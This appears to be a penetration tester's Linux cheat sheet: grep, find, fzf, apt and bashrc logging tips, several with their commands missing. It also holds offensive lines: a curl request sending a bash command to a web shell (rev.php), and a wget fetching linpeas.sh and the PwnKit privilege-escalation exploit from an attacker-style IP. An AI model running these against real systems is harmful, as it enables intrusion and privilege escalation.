Linux

Download Linux Image

Interactive SSH Prompt

~C
# brings ssh> which can be used for port forwarding ( Only after obtaining a shell)

URL Encode via curl

  • URL Encode the values requested via curl

curl -G http://url/rev.php --data-urlencode "cmd=/bin/bash -c 'whoami'"

Wget

  • Wget multiple files with bash expansions

wget http://10.10.14.29/{linpeas.sh,PwnKit}

Chmod

  • Chmod multiple files

# files need to be chmod +x linpeas.sh and PwnKit
chmod +x [lP]*

Grep

  • Avoid multiple patterns in a file

  • Grep Multiple Contents

  • Keep the grep highlighted color when piping the output

Find

  • Exclude specific directories from the find command

  • Find files with multiple extensions

fzf

  • Install fzf

  • Make fzf to interpret the colors

Files

  • Know the files location of the services without installing the application

tomcat-users.xml default location

apt

  • Change the default repository for higher speed

  • Know the version of the application installed from apt with apt-cache policy <packageName>

  • Add Kali Linuxreleases in ubuntu ( ⚠️ Might be slow when installing stuff and also unaware the stability)

Log things you have installed

  • Add the following function in the .bashrc file

  • Source the file and install new contents with install <packageName> (install xclip)

  • All the installed commands will be available in the ~/install.txt

Log only commands that executed successfully

  • Add the following in the .bashrc file

  • Execute commands with a <command> (a whoami)

  • Only the commands with the successful status code will be logged in the ~/successcommands.txt file

Date

  • Date format with full date and time: date +%F:%T (Mostly used with somecommand | tee $(date +%F:%T).log)

Last updated

Was this helpful?